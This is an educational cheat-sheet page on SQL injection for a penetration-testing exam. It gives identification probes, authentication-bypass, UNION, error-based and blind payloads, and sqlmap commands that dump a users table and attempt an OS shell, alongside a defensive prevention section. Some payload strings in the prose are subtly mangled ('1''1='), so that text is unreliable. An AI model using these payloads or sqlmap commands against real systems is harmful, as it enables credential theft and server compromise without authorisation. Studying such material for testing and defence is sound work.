☼
⌃
☰

SQL Injection

Table of Contents

SQL injection is a vulnerability that occurs when user input is incorporated into a SQL query without proper sanitization or parameterization, allowing an attacker to alter the query's logic — resulting in unauthorized data access, authentication bypass, or in severe cases full database/system compromise.

Related: NoSQL Injection Broken Authentication IDOR Denial of Service Web Application Firewall Web Application Testing Methodology PT1 Vulnerability Classification Cheat Sheet

Impact

  • Data Exposure: Unauthorized access to sensitive information
  • Authentication Bypass: Logging in without valid credentials (see Basic example below)
  • System Compromise: Gaining control over the database server, or further via database-specific RCE features
  • Denial of Service: Preventing legitimate users from accessing the database

Identification

Before exploitation — confirm the injection point exists:

HTTP
# Single quote often breaks the query and errors, confirming injection
GET /product?id=1'
GET /product?id=1'' -- comment out the rest

# Boolean-based comparison — behavior should differ between these two
GET /product?id=1 AND 1=1
GET /product?id=1 AND 1=2

A differing response (error message, different content, different status code) between the 1=1 and 1=2 variants confirms the parameter is unsanitized and reaches the SQL query directly.

Examples

Basic — Authentication Bypass

Consider a login form where a user inputs their username and password. The application might construct a SQL query like this:

SQL
SELECT * FROM users WHERE username = '$username' AND password = '$password'

If a malicious user enters admin' OR '1''1= for the username, the query becomes:

SQL
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '$password'

Since OR '1''1'= is always true, the query effectively bypasses authentication and logs the user in as 'admin' (or the first user in the database, depending on how the application handles multiple matched rows).

Union-Based — Extracting Data from Other Tables

Used to extract data from other tables by appending a UNION SELECT to the original query. Requires the column count and data types in the injected query to match the original.

If the original query is:

SQL
SELECT product_name, description FROM products WHERE id = $id

An attacker could inject:

SQL
1 UNION SELECT username, password FROM users

Resulting in:

SQL
SELECT product_name, description FROM products WHERE id = 1 UNION SELECT username, password FROM users

This displays usernames and passwords from the users table in the same response fields normally used for product name/description.

HTTP
# First: determine the number of columns via ORDER BY
GET /product?id=1 ORDER BY 1--
GET /product?id=1 ORDER BY 2--
GET /product?id=1 ORDER BY 3--  # error here = 2 columns in original query

# Then: identify which columns reflect in the response
GET /product?id=-1 UNION SELECT 'a','b'--

# Finally: extract real data into the reflecting columns
GET /product?id=-1 UNION SELECT username,password FROM users--

Error-Based — Extracting Schema via Error Messages

Deliberately triggering a malformed query to leak schema information through verbose error messages.

SQL
' AND (SELECT 0 FROM users WHERE 1=0) --

If the database throws an error referencing the users table (rather than a generic error), that confirms the table's existence — repeatable against guessed table/column names to enumerate schema blind, one confirmed name at a time.

Blind SQL Injection — No Visible Output

When the application doesn't reflect query results or errors directly, infer data one bit/character at a time.

Boolean-Based Blind

HTTP
# True condition — page behaves normally
GET /product?id=1 AND 1=1

# False condition — page behaves differently (missing content, different length)
GET /product?id=1 AND 1=2

# Extracting data character by character via conditional true/false
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a'

Time-Based Blind

Used when there's no observable difference in response content/behavior at all — infer truth via response delay instead.

HTTP
GET /product?id=1 AND IF(1=1, SLEEP(5), 0)
GET /product?id=1; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--  -- PostgreSQL

A 5-second delay confirms the injected condition evaluated true — slow to enumerate manually, this is where sqlmap's automation becomes essential rather than optional.

Automation with sqlmap

SHELL
# Basic test against a GET parameter
sqlmap -u "http://target.com/product?id=1" --batch

# Test a POST request captured from Burp
sqlmap -r request.txt --batch

# Once injection is confirmed, enumerate databases/tables/data
sqlmap -u "http://target.com/product?id=1" --dbs
sqlmap -u "http://target.com/product?id=1" -D targetdb --tables
sqlmap -u "http://target.com/product?id=1" -D targetdb -T users --dump

# Attempt OS command execution if DB privileges allow (MySQL: FILE priv, etc.)
sqlmap -u "http://target.com/product?id=1" --os-shell

Prevention (Defensive)

  • Parameterized Queries: Using parameterized queries or prepared statements to isolate user input from the SQL query structure — the primary and most robust defense
  • Input Validation: Strictly validating and sanitizing all user-provided data as a secondary layer, not a substitute for parameterization
  • Least Privilege: Database accounts used by the application should have the minimum privileges needed — limits blast radius even if injection occurs
  • Regular Security Audits: Conducting vulnerability assessments to identify potential weaknesses
  • Web Application Firewall: Deploying WAFs as a detection/mitigation layer — not a substitute for fixing the underlying query construction
  • Stored Procedures: Using stored procedures to encapsulate database logic, though these can still be vulnerable if they concatenate input internally rather than parameterizing it too

Tips

  • On the exam, always attempt manual confirmation (single quote, boolean true/false comparison) before reaching for sqlmap — understanding why it's injectable matters for the report, and manual confirmation is faster for simple cases than waiting on automated enumeration
  • If a target uses MongoDB or another non-relational database instead, this entire methodology doesn't apply — see NoSQL Injection for the operator-based equivalent
  • Time-based blind injection is slow and noisy (many requests) — confirm boolean-based blind isn't viable first, since it's faster to enumerate when available
  • A SQLi-based authentication bypass should be classified as SQL Injection with an authentication-bypass impact, not as a Broken Authentication finding with an injection cause — see the PT1 Vulnerability Classification Cheat Sheet for this exact disambiguation
  • sqlmap --os-shell only works if the database user has file-write privileges (e.g. MySQL's FILE privilege) — don't expect it to work universally, check privilege level first if RCE via SQLi is the goal